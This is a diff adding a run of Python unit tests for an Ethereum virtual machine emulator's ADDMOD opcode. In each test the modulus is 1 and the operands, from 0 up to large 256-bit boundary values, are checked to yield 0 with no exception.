+    def test_ADDMOD_173(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_174(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_175(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_176(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_177(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_178(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_179(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_180(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_181(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_182(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_183(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_184(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_185(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_186(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_187(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_188(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_189(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_190(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_191(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_192(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_193(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_194(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_195(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_196(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_197(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_198(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_199(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_200(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_201(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_202(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_203(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_204(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
